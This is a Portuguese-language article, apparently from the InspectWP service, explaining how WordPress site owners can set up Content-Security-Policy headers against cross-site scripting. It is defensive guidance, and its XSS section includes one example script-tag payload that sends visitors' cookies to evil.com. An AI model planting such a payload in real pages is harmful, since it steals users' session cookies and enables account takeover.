Content-Security-Policy (CSP) é um cabeçalho de resposta HTTP que dá a você controle granular sobre quais recursos o navegador pode carregar na sua página. Isso inclui scripts, folhas de estilo, imagens, fontes, iframes e muito mais. O CSP é amplamente considerado uma das defesas mais eficazes contra ataques de Cross-Site Scripting (XSS), que continuam entre as vulnerabilidades mais comuns na web.
Se você administra um site WordPress, o CSP é especialmente relevante porque sites WordPress costumam carregar recursos de muitas fontes diferentes: seu próprio servidor, CDNs, provedores de analytics, serviços de fontes, redes de publicidade e tudo o que seus plugins e tema importam. O CSP permite definir exatamente quais dessas fontes são permitidas.
Como funciona um ataque de Cross-Site Scripting (XSS)
Para entender por que o CSP é importante, ajuda ver o que ele previne. Aqui está um exemplo concreto de como um ataque XSS pode acontecer em um site WordPress:
Suponha que seu site tenha um formulário de comentários e que a sanitização dos comentários tenha uma falha (no núcleo do WordPress, em um plugin ou em uma função personalizada do tema). Um atacante envia um comentário contendo este trecho:
<script>document.location='https://evil.com/steal?c='+document.cookie</script>Se esse script for renderizado na página sem o devido escape, todo visitante que ver esse comentário terá seu navegador executando esse código. Ele envia os cookies de sessão para o servidor do atacante. Com esses cookies, o atacante pode logar como a vítima, inclusive como administrador, caso um admin visualize o comentário.
Com um CSP devidamente configurado, esse ataque falha. O navegador verifica o script contra a política e descobre que scripts inline não são permitidos (a menos que estejam explicitamente na lista de permitidos). O script é bloqueado e o navegador registra uma violação em vez de executar o código.
Sintaxe do cabeçalho CSP e diretivas comuns
Um cabeçalho CSP consiste em diretivas, cada uma especificando quais fontes são permitidas para um determinado tipo de recurso. Veja um exemplo:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self' https://api.example.comVamos detalhar as diretivas mais importantes:
default-src: a política de fallback para qualquer tipo de recurso que não tenha sua própria diretiva. Se você definirdefault-src 'self', apenas recursos do seu próprio domínio serão permitidos por padrão.script-src: controla quais fontes de JavaScript são permitidas. Essa é a diretiva mais crítica em termos de segurança, porque scripts têm acesso total ao DOM da página e aos cookies.style-src: controla quais fontes de CSS são permitidas. Essa diretiva costuma exigir'unsafe-inline'em sites WordPress, pois muitos plugins e temas injetam estilos inline.img-src: controla quais fontes de imagem são permitidas. O valordata:permite imagens base64 inline, que alguns plugins utilizam.font-src: controla de onde as fontes podem ser carregadas. Se você usa Google Fonts, precisa permitirhttps://fonts.gstatic.com.connect-src: controla quais URLs podem ser acessadas via AJAX, Fetch API ou conexões WebSocket. Importante para sites que usam REST APIs ou serviços externos.frame-src: controla quais origens podem ser embutidas em iframes na sua página. Relevante se você incorpora vídeos do YouTube, Google Maps ou outros widgets de terceiros.frame-ancestors: controla quais sites podem incorporar sua página em um iframe. É o equivalente CSP do X-Frame-Options (veja KB-3).base-uri: restringe quais URLs podem ser usadas no elemento<base>. Definir como'self'impede que atacantes alterem a URL base da sua página.form-action: restringe para onde os formulários da sua página podem enviar dados. Isso pode prevenir ataques de phishing em que um atacante modifica a URL de destino de um formulário.
Whitelist baseado em nonce vs. baseado em hash
Bloquear todos os scripts inline é a abordagem ideal, mas às vezes scripts inline são necessários. O CSP oferece duas alternativas seguras ao uso de 'unsafe-inline':
Whitelist baseado em nonce funciona gerando um token aleatório único para cada carregamento de página. Você adiciona esse nonce tanto ao cabeçalho CSP quanto às tags de script:
Content-Security-Policy: script-src 'nonce-abc123random'<script nonce="abc123random">
// This script will execute because the nonce matches
</script>O nonce precisa ser diferente a cada carregamento de página. Um atacante que injete um script não pode saber o nonce atual, então o script é bloqueado. Essa abordagem funciona bem quando você controla a saída HTML e pode adicionar nonces dinamicamente.
Whitelist baseado em hash usa um hash criptográfico do conteúdo do script:
Content-Security-Policy: script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8='O navegador calcula o hash de cada script inline e o compara aos hashes permitidos. Isso é útil para scripts inline estáticos que não mudam entre os carregamentos de página.
Monitoramento com diretivas de relatório do CSP
O CSP inclui recursos de relatório integrados que permitem monitorar violações sem quebrar seu site:
A diretiva report-uri (mais antiga, ainda amplamente suportada) envia relatórios de violação para um endpoint especificado:
Content-Security-Policy: default-src 'self'; report-uri /csp-report-endpointA diretiva mais nova report-to funciona com a Reporting API e oferece mais flexibilidade:
Content-Security-Policy: default-src 'self'; report-to csp-endpoint
Report-To: {"group":"csp-endpoint","max_age":10886400,"endpoints":[{"url":"https://yoursite.com/csp-reports"}]}Diversos serviços de terceiros como Report URI, Sentry e Datadog podem coletar e visualizar relatórios CSP para você, o que é extremamente útil ao lançar uma nova política.
Testando com Content-Security-Policy-Report-Only
É aqui que a maioria das pessoas deveria começar. O cabeçalho Content-Security-Policy-Report-Only se comporta exatamente como o cabeçalho CSP normal, mas em vez de bloquear violações, apenas as relata. Nada é de fato bloqueado; o navegador apenas registra o que teria sido bloqueado.
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report-endpointIsso permite ver exatamente quais recursos do seu site seriam afetados por uma política CSP antes de aplicá-la. Você pode verificar o console do desenvolvedor do navegador para mensagens de violação de CSP, ou coletar relatórios estruturados pelos endpoints de relatório.
Por que o CSP é desafiador em sites WordPress
WordPress e CSP têm uma relação complicada. O desafio principal é que o WordPress e seu ecossistema foram projetados antes do CSP existir, e muitos padrões comuns entram em conflito com políticas CSP estritas:
- Scripts inline: o núcleo do WordPress, o WooCommerce e muitos plugins populares injetam JavaScript inline. Uma política
script-srcestrita sem'unsafe-inline'vai quebrar isso. - Estilos inline: muitos plugins e page builders (Elementor, Divi, WPBakery) geram CSS inline. O Customizer também injeta estilos inline. Isso muitas vezes força o uso de
'unsafe-inline'emstyle-src. - Uso de eval(): alguns plugins usam
eval()ounew Function(), o que requer'unsafe-eval'emscript-src. Isso enfraquece significativamente a proteção. - Recursos de terceiros: scripts de analytics (Google Analytics, Matomo), fontes (Google Fonts), CDNs, embeds de redes sociais e scripts de publicidade precisam ser explicitamente liberados.
- Atualizações de plugins: uma atualização de plugin pode, de repente, carregar recursos de um novo domínio, quebrando seu CSP sem aviso.
Para uma implementação prática de CSP no WordPress, a maioria dos proprietários de sites acaba com uma política que permite 'unsafe-inline' para estilos, mas restringe scripts e outros recursos o máximo possível. Esse é um compromisso razoável que ainda fornece proteção significativa.
Passos práticos para adicionar CSP ao WordPress
Aqui está uma abordagem passo a passo que funciona na prática:
- Comece com
Content-Security-Policy-Report-Onlydefinido comodefault-src 'self'e um endpoint de relatório. - Navegue por todo o seu site e verifique os relatórios de violação. Anote cada recurso bloqueado.
- Adicione os domínios de origem necessários às diretivas da sua política, um por um.
- Teste toda a funcionalidade crítica: login, checkout (se houver WooCommerce), formulários, painel administrativo.
- Quando a política em modo report-only não mostrar mais violações durante o uso normal, troque para o cabeçalho
Content-Security-Policyque efetivamente aplica as regras. - Mantenha o endpoint de relatório ativo mesmo após a aplicação, para detectar novas violações vindas de atualizações de plugins ou mudanças de conteúdo.
O que o InspectWP verifica
O InspectWP verifica se o seu site envia um cabeçalho Content-Security-Policy. Se ausente, o relatório indica que seu site não tem proteção CSP contra XSS e outros ataques de injeção. Se uma política estiver presente, o InspectWP exibe a string completa da política para que você possa revisá-la. Tenha em mente que ter um cabeçalho CSP com diretivas excessivamente permissivas (como default-src * ou script-src 'unsafe-inline' 'unsafe-eval') oferece muito pouca proteção real.